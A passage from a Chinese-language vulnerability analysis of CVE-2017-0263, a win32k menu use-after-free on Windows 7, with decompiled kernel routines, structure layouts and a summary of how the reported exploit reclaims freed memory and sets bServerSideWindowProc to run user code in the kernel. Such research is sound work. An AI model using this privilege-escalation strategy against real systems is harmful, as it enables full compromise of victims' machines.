CVE-2017-0263 是 Windows 操作系统 win32k
内核模块菜单管理组件中的一个 UAF(释放后重用)漏洞,据报道称该漏洞在之前与一个 EPS 漏洞被 APT28 组织组合攻击用来干涉法国大选。这篇文章将对用于这次攻击的样本的 CVE-2017-0263 漏洞部分进行一次简单的分析,以整理出该漏洞利用的运作原理和基本思路,并对 Windows 窗口管理器子系统的菜单管理组件进行简单的探究。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机。
在本分析中为了突出分析的重点,在对涉及的各个系统函数进行分析时,将与当前漏洞研究无关的调用语句进行忽略,只留意影响或可能影响漏洞触发逻辑的调用和赋值语句并对其进行分析和解释。
0x0 前言
这篇文章分析了发生在窗口管理器(User)子系统的菜单管理组件中的 CVE-2017-0263 UAF(释放后重用)漏洞。在函数 win32k!xxxMNEndMenuState
中释放全局菜单状态对象的成员域 pGlobalPopupMenu
指向的根弹出菜单对象时,没有将该成员域置零,导致该成员域仍旧指向已被释放的内存区域成为野指针,在后续的代码逻辑中存在该成员域指向的内存被读写访问或被重复释放的可能性。
在释放成员域 pGlobalPopupMenu
指向对象之后,函数 xxxMNEndMenuState
还将当前线程关联的线程信息对象成员域 pMenuState
重置,这导致大部分追踪和操作弹出菜单的接口将无法达成漏洞触发的条件。但在重置成员域 pMenuState
之前,函数中存在对全局菜单状态对象的成员域 uButtonDownHitArea
的解锁和释放,这个成员域存储当前鼠标按下位置所属的窗口对象(如果当前存在鼠标按下状态)指针。
如果用户进程先前通过利用技巧构造了特殊关联和属性的菜单窗口对象,那么从函数 xxxMNEndMenuState
释放成员域 pGlobalPopupMenu
到重置成员域 pMenuState
之前的这段时间,执行流将回到用户进程中,用户进程中构造的利用代码将有足够的能力改变当前弹出菜单的状态,致使执行流重新执行 xxxMNEndMenuState
函数,并对根弹出菜单对象的内存进行重复释放,导致系统 BSOD 的发生。
在内核第一次释放成员域 pGlobalPopupMenu
指向内存之后执行流回到用户进程时,在用户进程中通过巧妙的内存布局,使系统重新分配相同大小的内存区域以占用成员域 pGlobalPopupMenu
指向的先前释放的内存块,伪造新的弹出菜单对象并构造相关成员域。借助代码逻辑,实现对特定窗口对象的成员标志位 bServerSideWindowProc
的修改,使系统能够在内核中直接执行位于用户进程地址空间中的自定义窗口消息处理函数,得以通过内核上下文执行用户进程构造的利用代码,实现内核提权的目的。
0x1 原理
CVE-2017-0263 漏洞存在于 win32k
的窗口管理器(User)子系统中的菜单管理组件中。在内核函数 xxxMNEndMenuState
释放目标 tagMENUSTATE
结构体对象的成员域 pGlobalPopupMenu
指向对象的内存时,没有将该成员域置为空值。
在 win32k
模块中存在定义为 tagMENUSTATE
结构体类型的菜单状态 gMenuState
全局对象。在当前的操作系统环境下,该结构体的定义如下:
kd> dt win32k!tagMENUSTATE
+0x000 pGlobalPopupMenu : Ptr32 tagPOPUPMENU
+0x004 flags : Int4B
+0x008 ptMouseLast : tagPOINT
+0x010 mnFocus : Int4B
+0x014 cmdLast : Int4B
+0x018 ptiMenuStateOwner : Ptr32 tagTHREADINFO
+0x01c dwLockCount : Uint4B
+0x020 pmnsPrev : Ptr32 tagMENUSTATE
+0x024 ptButtonDown : tagPOINT
+0x02c uButtonDownHitArea : Uint4B
+0x030 uButtonDownIndex : Uint4B
+0x034 vkButtonDown : Int4B
+0x038 uDraggingHitArea : Uint4B
+0x03c uDraggingIndex : Uint4B
+0x040 uDraggingFlags : Uint4B
+0x044 hdcWndAni : Ptr32 HDC__
+0x048 dwAniStartTime : Uint4B
+0x04c ixAni : Int4B
+0x050 iyAni : Int4B
+0x054 cxAni : Int4B
+0x058 cyAni : Int4B
+0x05c hbmAni : Ptr32 HBITMAP__
+0x060 hdcAni : Ptr32 HDC__
结构体 tagMENUSTATE 的定义
菜单管理是 win32k
中最复杂的组件之一,菜单处理作为一个整体依赖于多种十分复杂的函数和结构体。例如,在创建弹出菜单时,应用程序调用 TrackPopupMenuEx
在菜单内容显示的位置创建菜单类的窗口。接着该菜单窗口通过一个系统定义的菜单窗口类过程 xxxMenuWindowProc
处理消息输入,用以处理各种菜单特有的信息。此外,为了追踪菜单如何被使用,win32k
也将一个菜单状态结构体 tagMENUSTATE
与当前活跃菜单关联起来。通过这种方式,函数能够知道菜单是否在拖拽操作中调用、是否在菜单循环中、是否即将销毁,等等。
菜单状态结构体用来存储与当前活跃菜单的状态相关的详细信息,包括上下文菜单弹出的坐标、关联的位图表面对象的指针、窗口设备上下文对象、之前的上下文菜单结构体的指针,以及其他的一些成员域。
在线程信息结构体 tagTHREADINFO
中也存在一个指向菜单状态结构体指针的 pMenuState
成员域:
kd> dt win32k!tagTHREADINFO -d pMenuState
+0x104 pMenuState : Ptr32 tagMENUSTATE
结构体 tagTHREADINFO 存在 pMenuState 成员域
当用户在操作系统中以点击鼠标右键或其他的方式弹出上下文菜单时,系统最终在内核中执行到 xxxTrackPopupMenuEx
函数。该函数调用 xxxMNAllocMenuState
函数来分配或初始化菜单状态结构体。
在函数 xxxMNAllocMenuState
中,系统将全局菜单状态对象 gMenuState
的所有成员域清空并对部分成员域进行初始化,然后将全局菜单状态对象的地址存储在当前线程信息对象的成员域 pMenuState
中。
menuState = (tagMENUSTATE *)&gMenuState;
[...]
memset(menuState, 0, 0x60u);
menuState->pGlobalPopupMenu = popupMenuRoot;
menuState->ptiMenuStateOwner = ptiCurrent;
menuState->pmnsPrev = ptiCurrent->pMenuState;
ptiCurrent->pMenuState = menuState;
if ( ptiNotify != ptiCurrent )
ptiNotify->pMenuState = menuState;
[...]
return menuState;
函数 xxxMNAllocMenuState 的代码片段
函数初始化了菜单状态结构体中的 pGlobalPopupMenu
/ ptiMenuStateOwner
和 pmnsPrev
成员。成员域 pGlobalPopupMenu
指针指向通过参数传入作为根菜单的弹出菜单结构体 tagPOPUPMENU
对象。弹出菜单结构体存储关联的弹出菜单相关的各个内核对象的指针,与对应的菜单窗口对象关联,其结构体定义如下:
kd> dt win32k!tagPOPUPMENU
+0x000 flags : Int4B
+0x004 spwndNotify : Ptr32 tagWND
+0x008 spwndPopupMenu : Ptr32 tagWND
+0x00c spwndNextPopup : Ptr32 tagWND
+0x010 spwndPrevPopup : Ptr32 tagWND
+0x014 spmenu : Ptr32 tagMENU
+0x018 spmenuAlternate : Ptr32 tagMENU
+0x01c spwndActivePopup : Ptr32 tagWND
+0x020 ppopupmenuRoot : Ptr32 tagPOPUPMENU
+0x024 ppmDelayedFree : Ptr32 tagPOPUPMENU
+0x028 posSelectedItem : Uint4B
+0x02c posDropped : Uint4B
结构体 tagPOPUPMENU 的定义
菜单状态结构体对象的成员域 ptiMenuStateOwner
指向当前线程的线程信息结构体对象。线程信息结构体对象中已存在的菜单状态结构体指针被存储在当前菜单状态结构体对象的 pmnsPrev
成员域中。
随后函数将菜单状态结构体的地址放置在通过参数传入的当前线程(和通知线程)的线程信息结构体 tagTHREADINFO
对象的成员域 pMenuState
中,并将菜单状态结构体的地址作为返回值返回给上级调用者函数。
当前线程信息对象和菜单状态对象的对应关系
当用户通过键鼠选择菜单项、或点击菜单范围之外的屏幕区域时,系统将向当前上下文菜单的窗口对象发送相关鼠标按下或菜单终止的事件消息。在菜单对象的类型为模态的情况下,这导致之前调用 xxxMNLoop
函数的线程退出菜单循环等待状态,使函数继续向后执行。
系统调用 xxxMNEndMenuState
函数来清理菜单状态结构体存储的信息与释放相关的弹出菜单对象和窗口对象。
ptiCurrent = gptiCurrent;
menuState = gptiCurrent->pMenuState;
if ( !menuState->dwLockCount )
{
MNEndMenuStateNotify(gptiCurrent->pMenuState);
if ( menuState->pGlobalPopupMenu )
{
if ( fFreePopup )
MNFreePopup(menuState->pGlobalPopupMenu);
else
*(_DWORD *)menuState->pGlobalPopupMenu &= 0xFFFEFFFF;
}
UnlockMFMWFPWindow(&menuState->uButtonDownHitArea);
UnlockMFMWFPWindow(&menuState->uDraggingHitArea);
ptiCurrent->pMenuState = menuState->pmnsPrev;
[...]
}
函数 xxxMNEndMenuState 的代码片段
在函数 xxxMNEndMenuState
中,系统从当前线程的线程信息对象中获取 pMenuState
成员域指向的菜单状态结构体对象。随后函数判断菜单状态结构体对象的成员域 pGlobalPopupMenu
是否为空,不为空则调用函数 MNFreePopup
释放该成员域指向的弹出菜单 tagPOPUPMENU
对象。在执行相应的预处理之后,函数 MNFreePopup
调用 ExFreePoolWithTag
释放传入的 tagPOPUPMENU
对象缓冲区。
if ( popupMenu == popupMenu->ppopupmenuRoot )
MNFlushDestroyedPopups(popupMenu, 1);
pwnd = popupMenu->spwndPopupMenu;
if ( pwnd && (pwnd->fnid & 0x3FFF) == 0x29C && popupMenu != &gpopupMenu )
*((_DWORD *)pwnd + 0x2C) = 0;
HMAssignmentUnlock(&popupMenu->spwndPopupMenu);
HMAssignmentUnlock(&popupMenu->spwndNextPopup);
HMAssignmentUnlock(&popupMenu->spwndPrevPopup);
UnlockPopupMenu(popupMenu, &popupMenu->spmenu);
UnlockPopupMenu(popupMenu, &popupMenu->spmenuAlternate);
HMAssignmentUnlock(&popupMenu->spwndNotify);
HMAssignmentUnlock(&popupMenu->spwndActivePopup);
if ( popupMenu == &gpopupMenu )
gdwPUDFlags &= 0xFF7FFFFF;
else
ExFreePoolWithTag(popupMenu, 0);
函数 MNFreePopup 的代码片段
这时问题就出现了:函数 xxxMNEndMenuState
在将菜单状态结构体对象的成员域 pGlobalPopupMenu
指向的弹出菜单对象释放之后,却没有将该成员域置为空值,这将导致该成员域指向的内存地址处于不可控的状态,并导致被复用的潜在问题。
0x2 追踪
在 user32.dll
模块中存在导出函数 TrackPopupMenuEx
用于在屏幕指定位置显示弹出菜单并追踪选择的菜单项。当用户进程调用该函数时,系统在内核中最终调用到 xxxTrackPopupMenuEx
函数处理弹出菜单操作。
菜单的对象
在本分析中将涉及到与菜单相关的对象:菜单对象,菜单窗口对象和弹出菜单对象。
其中,菜单对象是菜单的实体,在内核中以结构体 tagMENU
实例的形式存在,用来描述菜单实体的菜单项、项数、大小等静态信息,但其本身并不负责菜单在屏幕中的显示,当用户进程调用 CreateMenu
等接口函数时系统在内核中创建菜单对象,当调用函数 DestroyMenu
或进程结束时菜单对象被销毁。
当需要在屏幕中的位置显示某菜单时,例如,用户在某窗口区域点击鼠标右键,在内核中系统将调用相关服务函数根据目标菜单对象创建对应的类型为 MENUCLASS
的菜单窗口对象。菜单窗口对象是窗口结构体 tagWND
对象的特殊类型,通常以结构体 tagMENUWND
的形式表示,负责描述菜单在屏幕中的显示位置、样式等动态信息,其扩展区域关联对应的弹出菜单对象。
弹出菜单对象 tagPOPUPMENU
作为菜单窗口对象的扩展对象,用来描述所代表的菜单的弹出状态,以及与菜单窗口对象、菜单对象、子菜单或父级菜单的菜单窗口对象等用户对象相互关联。
当某个菜单在屏幕中弹出时,菜单窗口对象和关联的弹出菜单对象被创建,当菜单被选择或取消时,该菜单将不再需要在屏幕中显示,此时系统将在适当时机销毁菜单窗口对象和弹出菜单对象。
弹出菜单
内核函数 xxxTrackPopupMenuEx
负责菜单的弹出和追踪。在该函数执行期间,系统调用 xxxCreateWindowEx
函数为即将被显示的菜单对象创建关联的类名称为 #32768
(MENUCLASS
) 的菜单窗口对象。类型为 MENUCLASS
的窗口对象通常用 tagMENUWND
结构体表示,这类窗口对象在紧随基础的 tagWND
对象其后的位置存在 1 个指针长度的扩展区域,用来存储指向关联的 tagPOPUPMENU
对象指针。
pwndHierarchy = xxxCreateWindowEx(
0x181,
0x8000, // MENUCLASS
0x8000, // MENUCLASS
0,
0x80800000,
xLeft,
yTop,
100,
100,
(pMenu->fFlags & 0x40000000) != 0 ? pwndOwner : 0, // MNS_MODELESS
0,
pwndOwner->hModule,
0,
0x601u,
0);
函数 xxxTrackPopupMenuEx 创建 MENUCLASS 窗口对象
在函数 xxxCreateWindowEx
中分配窗口对象后,函数向该对象发送 WM_NCCREATE
等事件消息,并调用窗口对象指定的消息处理程序。类型为 MENUCLASS
的窗口对象指定的的消息处理程序是 xxxMenuWindowProc
内核函数。处理 WM_NCCREATE
消息时,函数创建并初始化与窗口对象关联的弹出菜单信息结构体 tagPOPUPMENU
对象,将菜单窗口 tagMENUWND
对象指针放入 tagPOPUPMENU->spwndPopupMenu
成员域中,并将弹出菜单 tagPOPUPMENU
对象指针放入关联窗口 tagMENUWND
对象末尾的指针长度的扩展区域中。
结构体 tagMENUWND 和 tagPOPUPMENU 对象的对应关系
在通过函数 xxxSendMessageTimeout
向窗口对象发送 WM_NCCREATE
等事件消息时,系统在调用对象指定的消息处理程序之前,还会调用 xxxCallHook
函数用来调用先前由用户进程设定的 WH_CALLWNDPROC
类型的挂钩处理程序。设置这种类型的挂钩会在每次线程将消息发送给窗口对象之前调用。
if ( (LOBYTE(gptiCurrent->fsHooks) | LOBYTE(gptiCurrent->pDeskInfo->fsHooks)) & 0x20 )
{
v22 = pwnd->head.h;
v20 = wParam;
v19 = lParam;
v21 = message;
v23 = 0;
xxxCallHook(0, 0, &v19, 4); // WH_CALLWNDPROC
}
函数 xxxSendMessageTimeout 调用 xxxCallHook 函数
接下来函数 xxxTrackPopupMenuEx
调用 xxxMNAllocMenuState
来初始化菜单状态结构体的各个成员域,并将前面创建的弹出菜单 tagPOPUPMENU
对象作为当前的根弹出菜单对象,其指针被放置在菜单状态结构体的成员域 pGlobalPopupMenu
中。
menuState = xxxMNAllocMenuState(ptiCurrent, ptiNotify, popupMenu);
函数 xxxTrackPopupMenuEx 初始化菜单状态结构体
接下来函数调用 xxxSetWindowPos
函数以设置目标菜单窗口在屏幕中的位置并将其显示在屏幕中。在函数 xxxSetWindowPos
执行期间,相关窗口位置和状态已完成改变之后,系统在函数 xxxEndDeferWindowPosEx
中调用 xxxSendChangedMsgs
以发送窗口位置已改变的消息。
xxxSetWindowPos(
pwndHierarchy,
(((*((_WORD *)menuState + 2) >> 8) & 1) != 0) - 1,
xLParam,
yLParam,
0,
0,
~(0x10 * (*((_WORD *)menuState + 2) >> 8)) & 0x10 | 0x241);
函数 xxxTrackPopupMenuEx 显示根菜单窗口对象
在函数 xxxSendChangedMsgs
中,系统根据设置的 SWP_SHOWWINDOW
状态标志,为当前的目标菜单窗口对象创建并添加关联的阴影窗口对象。两个窗口对象的关联关系在函数 xxxAddShadow
中被添加到 gpshadowFirst
阴影窗口关联表中。
从函数 xxxSetWindowPos
中返回后,函数 xxxTrackPopupMenuEx
调用 xxxWindowEvent
函数以发送代表“菜单弹出开始”的 EVENT_SYSTEM_MENUPOPUPSTART
事件通知。
xxxWindowEvent(6u, pwndHierarchy, 0xFFFFFFFC, 0, 0);
函数 xxxTrackPopupMenuEx 发送菜单弹出开始的事件通知
如果先前在用户进程中设置了包含这种类型事件通知范围的窗口事件通知处理函数,那么系统将在线程消息循环处理期间分发调用这些通知处理函数。
接下来菜单对象类型为模态的情况下线程将会进入菜单消息循环等待状态,而非模态的情况将会返回。
一图以蔽之:
函数 xxxTrackPopupMenuEx 的简略执行流
bServerSideWindowProc
窗口结构体 tagWND
对象的成员标志位 bServerSideWindowProc
是一个特殊标志位,该标志位决定所属窗口对象的消息处理函数属于服务端还是客户端。当函数 xxxSendMessageTimeout
即将调用目标窗口对象的消息处理函数以分发消息时,会判断该标志位是否置位。
if ( *((_BYTE *)&pwnd->1 + 2) & 4 ) // bServerSideWindowProc
{
IoGetStackLimits(&uTimeout, &fuFlags);
if ( &fuFlags - uTimeout < 0x1000 )
return 0;
lRet = pwnd->lpfnWndProc(pwnd, message, wParam, lParam);
if ( !lpdwResult )
return lRet;
*(_DWORD *)lpdwResult = lRet;
}
else
{
xxxSendMessageToClient(pwnd, message, wParam, lParam, 0, 0, &fuFlags);
[...]
}
函数 xxxSendMessageTimeout 执行窗口对象消息处理函数的逻辑
如果该标志位置位,则函数将直接使当前线程在内核上下文调用目标窗口对象的消息处理函数;否则,函数通过调用函数 xxxSendMessageToClient
将消息发送到客户端进行处理,目标窗口对象的消息处理函数将始终在用户上下文调用和执行。
诸如菜单窗口对象之类的特殊窗口对象拥有专门的内核模式消息处理函数,因此这些窗口对象的成员标志位 bServerSideWindowProc
在对象创建时就被置位。而普通窗口对象由于只指向默认消息处理函数或用户进程自定义的消息处理函数,因此该标志位往往不被置位。
如果能够通过某种方式将未置位标志位 bServerSideWindowProc
的窗口对象的该标志位置位,那么该窗口对象指向的消息处理函数也将直接在内核上下文中执行。
阴影窗口
在 Windows XP 及更高系统的 win32k
内核模块中,系统为所有带有 CS_DROPSHADOW
标志的窗口对象创建并关联对应的类名称为 SysShadow
的阴影窗口对象,用来渲染原窗口的阴影效果。内核中存在全局表 win32k!gpshadowFirst
用以记录所有阴影窗口对象与原窗口对象的关联关系。函数 xxxAddShadow
用来为指定的窗口创建阴影窗口对象,并将对应关系写入 gpshadowFirst
全局表中。
全局表 gpshadowFirst
以链表的形式保存阴影窗口的对应关系。链表的每个节点存储 3 个指针长度的成员域,分别存储原窗口和阴影窗口的对象指针,以及下一个链表节点的指针。每个新添加的关系节点将始终位于链表的首个节点位置,其地址被保存在 gpshadowFirst
全局变量中。
全局变量 gpshadowFirst 指向阴影窗口关联链表
相应地,当阴影窗口不再需要时,系统调用 xxxRemoveShadow
来将指定窗口的阴影窗口关联关系移除并销毁该阴影窗口对象,函数根据通过参数传入的原窗口对象的指针在链表中查找第一个匹配的链表节点,从链表中取出节点并释放节点内存缓冲区、销毁阴影窗口对象。
子菜单
如果当前在屏幕中显示的菜单中存在子菜单项,那么当用户通过鼠标按键点击等方式选择子菜单项时,系统向子菜单项所属的菜单窗口对象发送 WM_LBUTTONDOWN
鼠标左键按下的消息。如果菜单为非模态(MODELESS
)类型,内核函数 xxxMenuWindowProc
接收该消息并传递给 xxxCallHandleMenuMessages
函数。
函数 xxxCallHandleMenuMessages
负责像模态弹出菜单的消息循环那样处理非模态弹出菜单对象的消息。在函数中,系统根据通过参数 lParam
传入的相对坐标和当前窗口在屏幕上的坐标来计算鼠标点击的实际坐标,并向下调用 xxxHandleMenuMessages
函数。
函数将计算的实际坐标点传入 xxxMNFindWindowFromPoint
函数查找坐标点坐落的在屏幕中显示的窗口,并将查找到的窗口对象指针写入菜单状态结构体的成员域 uButtonDownHitArea
中。当该值确实是(菜单)窗口对象时,函数向该窗口对象发送 MN_BUTTONDOWN
鼠标按下的消息。
接着执行流又进入函数 xxxMenuWindowProc
并调用函数 xxxMNButtonDown
以处理 MN_BUTTONDOWN
消息。
case 0x1EDu:
if ( wParam < pmenu->cItems || wParam >= 0xFFFFFFFC )
xxxMNButtonDown(popupMenu, menuState, wParam, 1);
return 0;
函数 xxxMenuWindowProc 调用 xxxMNButtonDown 函数
函数 xxxMNButtonDown
调用 xxxMNSelectItem
函数以根据鼠标按下区域选择菜单项并存储在当前弹出菜单对象的成员域 posSelectedItem
中,随后调用函数 xxxMNOpenHierarchy
以打开新弹出的菜单。
在函数 xxxMNOpenHierarchy
执行期间,系统调用函数 xxxCreateWindowEx
创建新的类名称为 MENUCLASS
的子菜单窗口对象,并将新创建的子菜单窗口对象关联的弹出菜单结构体 tagPOPUPMENU
对象插入弹出菜单对象延迟释放链表中。
函数将新分配的子菜单窗口对象指针写入当前菜单窗口对象关联的弹出菜单信息结构体 tagPOPUPMENU
对象的成员域 spwndNextPopup
中,并将当前菜单窗口对象指针写入新分配的菜单窗口对象关联的 tagPOPUPMENU
对象的成员域 spwndPrevPopup
中,使新创建的弹出菜单对象成为当前菜单对象的子菜单。
新创建的子菜单窗口和原菜单窗口 tagMENUWND 对象的对应关系
函数将当前菜单窗口对象的弹出菜单信息结构体 tagPOPUPMENU
对象的标志成员域 fHierarchyDropped
标志置位,这个标志位表示当前菜单对象已弹出子菜单。
接下来函数调用 xxxSetWindowPos
以设置新的菜单窗口在屏幕中的位置并将其显示在屏幕中,并调用函数 xxxWindowEvent
发送 EVENT_SYSTEM_MENUPOPUPSTART
事件通知。新菜单窗口对象对应的阴影窗口会在这次调用 xxxSetWindowPos
期间创建并与菜单窗口对象关联。
简要执行流如下:
点击子菜单项以弹出子菜单时的简要执行流
终止菜单
在用户进程中可以通过多种接口途径触达 xxxMNEndMenuState
函数调用,例如向目标菜单的窗口对象发送 MN_ENDMENU
消息,或调用 NtUserMNDragLeave
系统服务等。
当某调用者向目标菜单窗口对象发送 MN_ENDMENU
消息时,系统在菜单窗口消息处理函数 xxxMenuWindowProc
中调用函数 xxxEndMenuLoop
并传入当前线程关联的菜单状态结构体对象和其成员域 pGlobalPopupMenu
指向的根弹出菜单对象指针作为参数以确保完整的菜单对象被终止或取消。如果菜单对象是非模态类型的,那么函数接下来在当前上下文调用函数 xxxMNEndMenuState
清理菜单状态信息并释放相关对象。
menuState = pwnd->head.pti->pMenuState;
[...]
LABEL_227: // EndMenu
xxxEndMenuLoop(menuState, menuState->pGlobalPopupMenu);
if ( menuState->flags & 0x100 )
xxxMNEndMenuState(1);
return 0;
函数 xxxMenuWindowProc 处理 MN_ENDMENU 消息
函数 xxxEndMenuLoop
执行期间,系统调用 xxxMNDismiss
并最终调用到 xxxMNCancel
函数来执行菜单取消的操作。
int __stdcall xxxMNDismiss(tagMENUSTATE *menuState)
{
return xxxMNCancel(menuState, 0, 0, 0);
}
函数 xxxMNDismiss 调用 xxxMNCancel 函数
函数 xxxMNCancel
调用 xxxMNCloseHierarchy
函数来关闭当前菜单对象的菜单层叠状态。
popupMenu = pMenuState->pGlobalPopupMenu;
[...]
xxxMNCloseHierarchy(popupMenu, pMenuState);
函数 xxxMNCancel 调用 xxxMNCloseHierarchy 函数
函数 xxxMNCloseHierarchy
判断当前通过参数传入的弹出菜单 tagPOPUPMENU
对象成员域 fHierarchyDropped
标志位是否置位,如果未被置位则表示当前弹出菜单对象不存在任何弹出的子菜单,那么系统将使当前函数直接返回。
接下来函数 xxxMNCloseHierarchy
获取当前弹出菜单对象的成员域 spwndNextPopup
存储的指针,该指针指向当前弹出菜单对象所弹出的子菜单的窗口对象。函数通过 xxxSendMessage
函数调用向该菜单窗口对象发送 MN_CLOSEHIERARCHY
消息,最终在消息处理函数 xxxMenuWindowProc
中接收该消息并对目标窗口对象关联的弹出菜单对象调用 xxxMNCloseHierarchy
以处理关闭子菜单的菜单对象菜单层叠状态的任务。
popupMenu = *(tagPOPUPMENU **)((_BYTE *)pwnd + 0xb0);
menuState = pwnd->head.pti->pMenuState;
[...]
case 0x1E4u:
xxxMNCloseHierarchy(popupMenu, menuState);
return 0;
函数 xxxMenuWindowProc 处理 MN_CLOSEHIERARCHY 消息
函数 xxxSendMessage
返回之后,接着函数 xxxMNCloseHierarchy
调用 xxxDestroyWindow
函数以尝试销毁弹出的子菜单的窗口对象。需要注意的是,这里尝试销毁的是弹出的子菜单的窗口对象,而不是当前菜单的窗口对象。
在函数 xxxDestroyWindow
执行期间,系统调用函数 xxxSetWindowPos
以隐藏目标菜单窗口对象在屏幕中的显示。
dwFlags = 0x97;
if ( fAlreadyDestroyed )
dwFlags = 0x2097;
xxxSetWindowPos(pwnd, 0, 0, 0, 0, 0, dwFlags);
函数 xxxDestroyWindow 隐藏目标窗口对象的显示
在函数 xxxSetWindowPos
执行后期,与当初创建菜单窗口对象时相对应地,系统调用函数 xxxSendChangedMsgs
发送窗口位置已改变的消息。在该函数中,系统根据设置的 SWP_HIDEWINDOW
状态标志,通过调用函数 xxxRemoveShadow
在 gpshadowFirst
阴影窗口关联表中查找第一个与目标菜单窗口对象关联的阴影窗口关系节点,从链表中移除查找到的关系节点并销毁该阴影窗口对象。
接下来执行流从函数 xxxDestroyWindow
中进入函数 xxxFreeWindow
以执行对目标窗口对象的后续销毁操作。
函数根据目标窗口对象的成员域 fnid
的值调用对应的消息处理包装函数 xxxWrapMenuWindowProc
并传入 WM_FINALDESTROY
消息参数,最终在函数 xxxMenuWindowProc
中接收该消息并通过调用函数 xxxMNDestroyHandler
对目标弹出菜单对象执行清理相关数据的任务。在该函数中,目标弹出菜单对象的成员标志位 fDestroyed
和根弹出菜单对象的成员标志位 fFlushDelayedFree
被置位:
*(_DWORD *)popupMenu |= 0x8000u;
[...]
if ( *((_BYTE *)popupMenu + 2) & 1 )
{
popupMenuRoot = popupMenu->ppopupmenuRoot;
if ( popupMenuRoot )
*(_DWORD *)popupMenuRoot |= 0x20000u;
}
函数 xxxMNDestroyHandler 置位相关成员标志位
接着函数 xxxFreeWindow
对目标窗口对象再次调用函数 xxxRemoveShadow
以移除其阴影窗口对象的关联。如果先前已将目标窗口对象的所有阴影窗口关联移除,则函数 xxxRemoveShadow
将在关系表中无法查找到对应的关联节点而直接返回。
if ( pwnd->pcls->atomClassName == gatomShadow )
CleanupShadow(pwnd);
else
xxxRemoveShadow(pwnd);
函数 xxxFreeWindow 再次移除阴影窗口对象
函数在执行一些对象的释放操作和解除锁定操作之后向上级调用者函数返回。此时由于锁计数尚未归零,因此目标窗口对象仍旧存在于内核中并等待后续的操作。
函数 xxxDestroyWindow
返回后,执行流回到函数 xxxMNCloseHierarchy
中。接着函数对当前弹出菜单对象的成员域 spwndNextPopup
指向的子菜单窗口对象解锁并将成员域置空,然后将当前弹出菜单对象关联的菜单窗口对象带赋值锁地赋值给根弹出菜单对象的成员域 spwndActivePopup
中使当前窗口对象成为的活跃弹出菜单窗口对象,这导致原本锁定在成员域 spwndActivePopup
中的子菜单窗口对象解锁并使其锁计数继续减小。
HMAssignmentLock(
(_HEAD **)&popupMenu->ppopupmenuRoot->spwndActivePopup,
(_HEAD *)popupMenu->spwndPopupMenu);
函数 xxxMNCloseHierarchy 使当前窗口对象成为的活跃弹出菜单窗口对象
执行流从函数 xxxMNCloseHierarchy
返回到函数 xxxMNCancel
中,系统根据当前弹出菜单对象的成员标志位 fIsTrackPopup
选择调用 xxxDestroyWindow
以尝试销毁当前的菜单窗口对象。弹出菜单结构体的该成员标志位只在最开始通过函数 xxxTrackPopupMenuEx
创建根菜单窗口对象时对关联的弹出菜单对象置位。
接下来执行流返回到函数 xxxMenuWindowProc
中,函数对非模态类型的菜单对象调用 xxxMNEndMenuState
以清理菜单状态信息并释放相关对象。
菜单选择或取消时的简要执行流
弹出菜单对象延迟释放链表
在弹出菜单结构体 tagPOPUPMENU
中存在成员域 ppmDelayedFree
,该成员域用来将所有被标记为延迟释放状态的弹出菜单对象连接起来,以便在菜单的弹出状态终止时将所有弹出菜单对象统一销毁。
线程关联的菜单状态 tagMENUSTATE
对象的成员域 pGlobalPopupMenu
指向的是根弹出菜单对象,根弹出菜单对象的成员域 ppmDelayedFree
作为弹出菜单对象延迟释放链表的入口,指向链表的第一个节点。后续的每个被指向的弹出菜单对象的成员域 ppmDelayedFree
将指向下一个链表节点对象。
在函数 xxxMNOpenHierarchy
中,函数将新创建的子菜单窗口对象关联的弹出菜单结构体 tagPOPUPMENU
对象插入弹出菜单对象延迟释放链表。新的弹出菜单对象被放置在链表的起始节点位置,其地址被存储在根弹出菜单对象的成员域 ppmDelayedFree
中,而原本存储于根弹出菜单成员域 ppmDelayedFree
中的地址被存储在新的弹出菜单对象的成员域 ppmDelayedFree
中。
新的弹出菜单对象被插入弹出菜单对象延迟释放链表
xxxMNEndMenuState
在函数 xxxMNEndMenuState
执行时,系统调用函数 MNFreePopup
来释放由当前菜单状态 tagMENUSTATE
对象的成员域 pGlobalPopupMenu
指向的根弹出菜单对象。
函数 MNFreePopup
在一开始判断通过参数传入的目标弹出菜单对象是否为当前的根弹出菜单对象,如果是则调用函数 MNFlushDestroyedPopups
以遍历并释放其成员域 ppmDelayedFree
指向的弹出菜单对象延迟释放链表中的各个弹出菜单对象。
函数 MNFlushDestroyedPopups
遍历链表中的每个弹出菜单对象,并为每个标记了标志位 fDestroyed
的对象调用 MNFreePopup
函数。标志位 fDestroyed
当初在调用函数 xxxMNDestroyHandler
时被置位。
ppmDestroyed = popupMenu;
for ( i = &popupMenu->ppmDelayedFree; *i; i = &ppmDestroyed->ppmDelayedFree )
{
ppmFree = *i;
if ( *(_DWORD *)*i & 0x8000 )
{
ppmFree = *i;
*i = ppmFree->ppmDelayedFree;
MNFreePopup(ppmFree);
}
[...]
}
函数 MNFlushDestroyedPopups 遍历延迟释放链表
在函数 MNFlushDestroyedPopups
返回之后,函数 MNFreePopup
调用 HMAssignmentUnlock
函数解除 spwndPopupMenu
等各个窗口对象成员域的赋值锁。
在 Windows 内核中,所有的窗口对象起始位置存在成员结构体 HEAD
对象,该结构体存储句柄值(h
)的副本,以及锁计数(cLockObj
),每当对象被使用时其值增加;当对象不再被特定的组件使用时,它的锁计数减小。在锁计数达到零的时候,窗口管理器知道该对象不再被系统使用然后将其释放。
函数 HMAssignmentUnlock
被用来解除先前针对指定对象的实施的带赋值锁的引用,并减小目标对象的锁计数。当目标对象的锁计数减小到 0
时,系统将调用函数 HMUnlockObjectInternal
销毁该对象。
bToFree = head->cLockObj == 1;
--head->cLockObj;
if ( bToFree )
head = HMUnlockObjectInternal(head);
return head;
函数 HMUnlockObject 判断需要销毁的目标对象
函数 HMUnlockObjectInternal
通过目标对象的句柄在全局共享信息结构体 gSharedInfo
对象的成员域 aheList
指向的会话句柄表中找到该对象的句柄表项,然后通过在句柄表项中存储的句柄类型在函数 HMDestroyUnlockedObject
中调用索引在全局句柄类型信息数组 gahti
中的对象销毁函数。如果当前被销毁的目标对象类型是窗口对象,这将调用到内核函数 xxxDestroyWindow
中。
在函数 MNFreePopup
的末尾,由于已完成对各个成员域的解锁和释放,系统调用函数 ExFreePoolWithTag
释放目标弹出菜单 tagPOPUPMENU
对象。
通过分析代码可知,函数 xxxMNEndMenuState
在调用函数 MNFreePopup
释放弹出菜单信息结构体的各个成员域之后,会将当前菜单状态对象的成员域 pmnsPrev
存储的前菜单状态对象指针赋值给当前线程信息结构体对象的成员域 pMenuState
指针,而通常情况下 pmnsPrev
的值为 0
。
kd> ub
